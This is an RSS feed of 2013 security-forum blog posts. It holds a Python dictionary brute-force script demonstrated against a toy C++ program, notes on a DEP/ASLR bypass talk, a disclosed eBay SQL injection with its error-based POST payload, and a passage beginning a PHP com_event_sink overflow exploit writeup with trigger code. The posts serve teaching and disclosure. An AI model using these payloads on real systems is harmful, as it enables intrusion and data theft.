<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Garage4hackers Forum - Blogs</title>
		<link>http://www.garage4hackers.com/blogs/</link>
		<description>This is a discussion forum releated to Hacking, Security, network and system security http://www.garage4hackers.com</description>
		<language>en</language>
		<lastBuildDate>Thu, 20 Jun 2013 05:37:01 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://www.garage4hackers.com/images/misc/rss.jpg</url>
			<title>Garage4hackers Forum - Blogs</title>
			<link>http://www.garage4hackers.com/blogs/</link>
		</image>
		<item>
			<title>Basic Idea of Creating Password Bruteforce tool</title>
			<link>http://www.garage4hackers.com/blogs/2186/basic-idea-creating-password-bruteforce-tool-935/</link>
			<pubDate>Sun, 09 Jun 2013 19:58:41 GMT</pubDate>
			<description><![CDATA[Includes 2 Basic Program :- 
1. Basic "C++" program. 
2. BruteForce Script in Python. 
 
 
Here is Sample Code of CPP Program, that will need...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">Includes 2 Basic Program :-<ol class="decimal"><li>Basic &quot;C++&quot; program.</li>
<li>BruteForce Script in Python.</li>
</ol><br />
Here is Sample Code of CPP Program, that will need Password :-<br />
<br />
Save Below Code with blackbuntu.cpp name<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP Code:</div>
	<div class="bbcode_code"style="height:372px;"><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">/*<br />Author:&nbsp;KroKite<br />Description:&nbsp;Basic&nbsp;Bruteforcing&nbsp;Tools<br />URI:&nbsp;http://www.fb.me/r0ckysharma<br />*/<br /><br />#include&nbsp;&lt;iostream&gt;<br />#include&lt;cstdlib&gt;<br />#include&lt;cstring&gt;<br /></span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">namespace&nbsp;</span><span style="color: #0000BB">std</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//&nbsp;When&nbsp;passing&nbsp;char&nbsp;arrays&nbsp;as&nbsp;parameters&nbsp;they&nbsp;must&nbsp;be&nbsp;pointers<br /></span><span style="color: #0000BB">int&nbsp;main</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;argc</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">char</span><span style="color: #007700">**&nbsp;</span><span style="color: #0000BB">argv</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">argc&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Check&nbsp;the&nbsp;value&nbsp;of&nbsp;argc.&nbsp;If&nbsp;not&nbsp;enough&nbsp;parameters&nbsp;than,&nbsp;inform&nbsp;user&nbsp;and&nbsp;exit.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #DD0000">"Usage&nbsp;is&nbsp;-f&nbsp;&lt;input&nbsp;filename&gt;&nbsp;-p&nbsp;password\n"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;if&nbsp;we&nbsp;got&nbsp;enough&nbsp;parameters..<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i</span><span style="color: #007700">=</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(</span><span style="color: #0000BB">i</span><span style="color: #007700">&lt;=</span><span style="color: #0000BB">argc</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">argv</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;,</span><span style="color: #DD0000">"-f"</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #DD0000">"File&nbsp;to&nbsp;Open:&nbsp;"&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">argv</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">endl</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">argv</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;,</span><span style="color: #DD0000">"-p"</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout&nbsp;</span><span style="color: #007700">&lt;&lt;</span><span style="color: #DD0000">"Password&nbsp;is&nbsp;:&nbsp;"&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">argv</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">endl</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">argv</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">+</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #DD0000">"KroKite"</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #DD0000">"File&nbsp;Opening&nbsp;SuccessFul"</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">endl</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">cout&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #DD0000">"Wrong&nbsp;Password"</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">endl</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code></div>
</div>Compile above program with g++ <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:36px;">root@blackbuntu# g++ blackbuntu.cpp -o blackbuntu</pre>
</div>and now run program to understand what it will do, <br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:48px;">root@blackbuntu# ./blackbuntu 
Usage is -f &lt;input filename&gt; -p password</pre>
</div>So, Run with Arguments, and it takes password with '-p' arguments :-<br />
<br />
Giving Wrong Password as &quot;blackbuntu&quot;<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:72px;">root@blackbuntu# ./blackbuntu -f blackbuntu.txt -p blackbuntu
File to Open:  blackbuntu.txt
Password is : blackbuntu
Wrong Password</pre>
</div>Now Running with Correct Password :-<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:72px;">root@blackbuntu# ./blackbuntu -f blackbuntu.txt -p KroKite
File to Open:  blackbuntu.txt
Password is : KroKite
File Opening SuccessFul</pre>
</div>But, Now what if you don't know the password of program, and you need to open it, how would you do that, here is basic python code that will help you do that :-<br />
<br />
Save below file with name &quot;bruteforce.py&quot;<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP Code:</div>
	<div class="bbcode_code"style="height:228px;"><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">#!/usr/bin/python<br />#&nbsp;Author&nbsp;:&nbsp;KroKite<br />#&nbsp;Description:&nbsp;Basic&nbsp;Password&nbsp;Bruteforcing&nbsp;Tool<br />#&nbsp;URL:&nbsp;http://www.fb.me/r0ckysharma<br /><br /></span><span style="color: #0000BB">import&nbsp;subprocess<br />import&nbsp;re<br /><br />fo&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">open</span><span style="color: #007700">(</span><span style="color: #DD0000">"password.txt"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'r'</span><span style="color: #007700">);<br />for&nbsp;</span><span style="color: #0000BB">lines&nbsp;in&nbsp;fo</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">password&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">lines</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">brute&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">subprocess</span><span style="color: #007700">.</span><span style="color: #0000BB">Popen</span><span style="color: #007700">(&#91;</span><span style="color: #DD0000">"./blackbuntu"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"-f"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"foo.txt"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"-p"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">password</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&#93;,&nbsp;</span><span style="color: #0000BB">stdout</span><span style="color: #007700">=</span><span style="color: #0000BB">subprocess</span><span style="color: #007700">.</span><span style="color: #0000BB">PIPE</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">re</span><span style="color: #007700">.</span><span style="color: #0000BB">search</span><span style="color: #007700">(</span><span style="color: #DD0000">"Success"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">brute</span><span style="color: #007700">.</span><span style="color: #0000BB">communicate</span><span style="color: #007700">()&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;)):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;</span><span style="color: #DD0000">"Password&nbsp;Cracked&nbsp;and&nbsp;your&nbsp;Password&nbsp;is&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">password</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit()<br />&nbsp;&nbsp;&nbsp;&nbsp;else:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;</span><span style="color: #0000BB">password</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #DD0000">"&nbsp;is&nbsp;not&nbsp;Password"&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code></div>
</div>Now make another file which has list of password, Write 1 password in 1 line.<br />
<br />
password.txt file :-<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:180px;">abcdef
123456
hacker
bullshit
wtf
blackbuntu
facebook
twitter
metallica
KroKite
shit
password
pass</pre>
</div>And now Run your python program :-<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:156px;">root@blackbuntu# python bruteforce.py 
abcdef  is not Password
123456  is not Password
hacker  is not Password
bullshit  is not Password
wtf  is not Password
blackbuntu  is not Password
facebook  is not Password
twitter  is not Password
metallica  is not Password
Password Cracked and your Password is  KroKite</pre>
</div><font color="#FF0000">Note:</font> <font color="#00BFFF">Please Remember this is just basic idea and does not account exactly to your program, you might have to do more homework for your application with above bruteforce.py tool. With Few Changes above <font color="#FF4500">bruteforce.py</font> tool may work with mysql [not tested]</font><br />
<br />
<font color="#FF4500">bruteforce.py</font> file reads 1 password at a time and than run your program with fetched password and checks the success of password, if it does, than it simply prints password and exit, so the very last line will be your password if it has successfully cracked it.<br />
<br />
<font color="#FF4500">Also , all above Code is completely written by me, if you share it or modify it further, do include my credit. Thanks</font><br />
<br />
Got Question ? Ask them below, and i believe this simple demo will clear doubts.</blockquote>

]]></content:encoded>
			<dc:creator>krokite</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/2186/basic-idea-creating-password-bruteforce-tool-935/</guid>
		</item>
		<item>
			<title>DEP ASLR bypass without ROP JIT : CanSecWest2013 Slides and Analysis</title>
			<link>http://www.garage4hackers.com/blogs/8/dep-aslr-bypass-without-rop-jit-cansecwest2013-slides-analysis-785/</link>
			<pubDate>Fri, 08 Mar 2013 00:33:07 GMT</pubDate>
			<description>I have my own talk from CanSecwest to blog about but this one is more interesting and the most awaited one. So here are the slides, I will add my own...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">I have my own talk from CanSecwest to blog about but this one is more interesting and the most awaited one. So here are the slides, I will add my own analysis and test cases to this blog entry later. <b><u>Interesting thing is we had this technique discussed on garage in november</u></b> <a href="http://www.garage4hackers.com/f22/win7-64bit-no-aslr-dep-bypass-required-vinnu-3080.html" target="_blank">http://www.garage4hackers.com/f22/wi...innu-3080.html</a> .<br />
<br />
Yu Yang @tombkeeper did a demo of the technique on Ms013-08 and it does not ever need a heap spray for his ASLR/DEP bypass technique .<br />
<br />
And the exploit is scary, its a quick kaboom with out heap spray.<br />
He calls this method GIFT [ Got it form a table] . <br />
The simple technique is to change the VFT of wow64sharedinformation and it's ptr.<br />
<br />
 Here are couple of quick notes on the bypass Technique :<br />
<br />
<br />
<u><b>Good news about the Technique:. </b></u><br />
<ul><li>Totally ASLR/DEP free</li>
<li>Language/SP independent</li>
<li>Work on almost all use-after-free/vtable-overflow</li>
<li>Target on IE, firefox, pdf reader, flash, office …</li>
<li>Even don’t need shellcode</li>
<li>Sometimes don’t need heapspray</li>
<li>Need a Windows file sharing server</li>
<li>It is not a real problem</li>
<li>Only work on 32-bit process in x64 Windows</li>
<li>This situation is very common</li>
<li>Can not work on Windows 8</li>
</ul><br />
The documents and presentation is from Yu Yang @tombkeeper<br />
Download Slides from here:<br />
<a href="https://docs.google.com/file/d/0B46UFFNOX3K7bl8zWmFvRGVlamM/edit?usp=sharing" target="_blank">https://docs.google.com/file/d/0B46U...it?usp=sharing</a><br />
<br />
Cheers.</blockquote>

]]></content:encoded>
			<dc:creator>fb1h2s</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/8/dep-aslr-bypass-without-rop-jit-cansecwest2013-slides-analysis-785/</guid>
		</item>
		<item>
			<title>SQL Injection Vulnerability in ebay</title>
			<link>http://www.garage4hackers.com/blogs/78/sql-injection-vulnerability-ebay-677/</link>
			<pubDate>Fri, 25 Jan 2013 19:36:33 GMT</pubDate>
			<description>Title: SQL Injection Vulnerability in eBay.com sub domains 
Author: Yogesh D Jaygadkar 
Reported: December 27, 2012 
Fixed: Jan 15, 2013 
Public...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">Title: SQL Injection Vulnerability in eBay.com sub domains<br />
Author: Yogesh D Jaygadkar<br />
Reported: December 27, 2012<br />
Fixed: Jan 15, 2013<br />
Public Released: Jan 25, 2013<br />
Thanks To: Darshit Ashara<br />
Greets : Rahul Bro, Aasim, Sandeep, Sagar<br />
<br />
<u>Description</u>:<br />
<br />
Last Month I <a href="http://www.jaygadkar.com/2013/01/sql-injection-vulnerability-in-ebay.html" target="_blank">reported </a>SQL Injection vulnerabilities in eBay.com sub domains. You can see how many days they took for patching &amp; allowing me to publish the vulnerability. But finally they fixed it &amp; listed me in their <a href="http://pages.ebay.com/securitycenter/ResearchersAcknowledgement.html" target="_blank">Researchers Acknowledgement Page</a>.Like every other bounty hunter I was also searching for some vulnerability in EBAY.That time I have no idea that Ebay don’t give bounty for any vulnerability. Not even for SQL Injection. :)<br />
<br />
<br />
<u>POC</u>:<br />
<br />
Sub Domains:  sea.ebay.com &amp; export.ebay.co.th<br />
<br />
Page: <br />
sea.ebay.com/searchAnnoucement.php<br />
export.ebay.co.th/searchAnnoucement.php<br />
<br />
Vulnerable Parameter: “checkbox” Array POST parameter.<br />
<br />
Search option in above pages provides a “Select Site” checkboxes which filters the search result by different countries.<br />
<br />
<br />
<br />
<img src="https://dl.dropbox.com/u/33853470/ebay-sqli1.png" border="0" alt="" /><br />
<br />
<img src="https://dl.dropbox.com/u/33853470/ebay-th.png" border="0" alt="" /><br />
<br />
<br />
<br />
<u>HTTP Headers:</u><br />
<br />
Host: sea.ebay.com <br />
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0 <br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <br />
Accept-Language: en-US,en;q=0.5 <br />
Accept-Encoding: gzip, deflate <br />
Connection: keep-alive <br />
Referer: <a href="http://sea.ebay.com/searchAnnoucement.php-time=Jan%202012" target="_blank">http://sea.ebay.com/searchAnnoucemen...ime=Jan%202012</a> <br />
Cookie: Cookie Value<br />
 Content-Type: application/x-www-form-urlencoded <br />
Content-Length: 16 <br />
<br />
<u>POST Contents:</u> checkbox%5B%5D=(select+1+and+row(1%2c1)&gt;(select+co  unt(*)%2cconcat(CONCAT(CHAR(68)%2C(SELECT+USER())%  2CCHAR(65)%2CCHAR(86)%2CCHAR(73)%2CCHAR(68))%2c0x3  a%2cfloor(rand()*2))x+from+(select+1+union+select+  2)a+group+by+x+limit+1))&amp;<br />
<br />
<br />
So this is all for submitting report. After that I simply used sqlmap the gr8 :)<br />
<br />
<img src="https://dl.dropbox.com/u/33853470/ebay-sqli.png" border="0" alt="" /></blockquote>

]]></content:encoded>
			<dc:creator>Inxroot</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/78/sql-injection-vulnerability-ebay-677/</guid>
		</item>
		<item>
			<title>Reliable PHP Exploitation from Windows XP to Windows 7</title>
			<link>http://www.garage4hackers.com/blogs/3489/reliable-php-exploitation-windows-xp-windows-7-578/</link>
			<pubDate>Fri, 11 Jan 2013 14:41:08 GMT</pubDate>
			<description><![CDATA[Theexploit code for PHP <= 5.4.3 (com_event_sink) Code Execution _82307: PHP com_event_sink Function Overflow DoS (http://osvdb.org/show/osvdb/82307)...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore"><font color="#000000"><span style="font-family: Times New Roman"><font size="3">Theexploit code for PHP &lt;= 5.4.3 (com_event_sink) Code Execution </font></span></font><font color="#000080"><font size="3"><u><a href="http://osvdb.org/show/osvdb/82307" target="_blank">82307: PHP com_event_sink Function Overflow DoS</a> </u></font></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3">was published by Rahul Saasi some time before on this forum and both ofus had a nice discussion about the vulnerability and possible attack vectors.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Itried to dig deeper into the issue because exploiting this vulnerability with 100% reliability was quite challenging. In fact the exploit provided by both of us (rahul and me ) earlier, is not reliable at all because of the following reasons.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">1:The shellcode buffer and the place from where EAX is fetched depends HIGHLY upon pre-determined memory location from the heap region A single change(even a white space) in the source code of the exploit will result in change in memory location of our shellcode buffer.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">2:It may work if the exploit code is the lone script executing on the victim machine, but again memory offset will definitely change from OS to OS and service pack to service pack. so if you are able to inject the php exploit through an RFI(remote file inclusion) web vulnerability to attack the server the exploit is most likely not going to work.<br />
</font></span></font><br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Thesecond part of this vulnerability is the main challenge and gives a false impression of ASLR even on the systems not running under such aprotection.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Now, i have figured out two ways to reliably exploit on different OS'es.These methods can be used to bypass DEP and ASLR (separately) with 100% accuracy across different platforms.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>                                                     What’s wrong with the previous exploits?</b></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">The previous exploits seemed to be working when the above given constraints are not present i.e under a single system and it was the only script running, with no change in the source code of the exploit.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">This will give you an insight of the problems arising with the exploit code. </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Lets consider the following code to trigger the vulnerability </font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">&lt;?php</font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">$buffer= str_repeat(&quot;a&quot;, 100); &lt;&lt; edi </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">$vVar= new VARIANT(0x04040404); </font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">$vVar2= new VARIANT(&quot;hello&quot;); </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">com_event_sink($vVar,$vVar2, $buffer); </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">?&gt;</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">In this case the register output will be </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>EAX 00000000</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>ECX 00362940</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>EDX 0110D598</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>EBX 00000000</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>ESP 00C1F9F8</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>EBP 00C1FA4C</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>ESI 04040404</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i><b>EDI0110D608 ASCII &lt;&lt;&lt; edi</b></i></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  a  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  &quot;</i></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>EIP102F59BD php5ts.102F59BD</i></font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"> <span style="font-family: Times New Roman"><font size="3">Fine, so EDI happens to hold our buffer at the location  </font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>0x</b></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i><b>0110D608</b></i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i><b>NOTE:</b></i></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>Please don’t be confused with the ASCII representation of our buffer . Basically in  ZEND Engine the php strings are stored in unicode(2 bytes) form because we are passing the string to com_event_sink  function , its later on converted to ASCII representation using zend_parse_parameter() ZEND API function. </i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>As done in source code of com_com.c</i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>File:com_com.c fucntion:com_event_sink()</i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&gt;&gt; parameter parsed </i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>if(FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,&quot;Oo|z/&quot;,<br />
            &amp;object, php_com_variant_class_entry,&amp;sinkobject, &amp;sink)){<br />
        RETURN_FALSE;<br />
    }<br />
<br />
    php_com_initialize(TSRMLS_C);<br />
    obj= CDNO_FETCH(object);<br />
    <br />
    if (sink &amp;&amp; Z_TYPE_P(sink) ==IS_ARRAY) {<br />
        /* 0 =&gt; typelibname, 1 =&gt; dispname */<br />
        zval**tmp;<br />
<br />
        if (zend_hash_index_find(Z_ARRVAL_P(sink), 0,(void**)&amp;tmp) == SUCCESS)<br />
            typelibname =Z_STRVAL_PP(tmp);<br />
        if (zend_hash_index_find(Z_ARRVAL_P(sink), 1,(void**)&amp;tmp) == SUCCESS)<br />
            dispname = Z_STRVAL_PP(tmp);<br />
    }else if (sink != NULL) {<br />
        convert_to_string(sink);<br />
        dispname= Z_STRVAL_P(sink); //</i></font></span></font><font color="#000000"><span style="font-family: Courier New"><font size="2"><i><b>convert to string representation</b></i></font></span></font><font color="#000000"><span style="font-family: Courier New"><font size="2"><i><br />
    }</i></font></span></font><br />
<br />
<br />
<br />
<br />
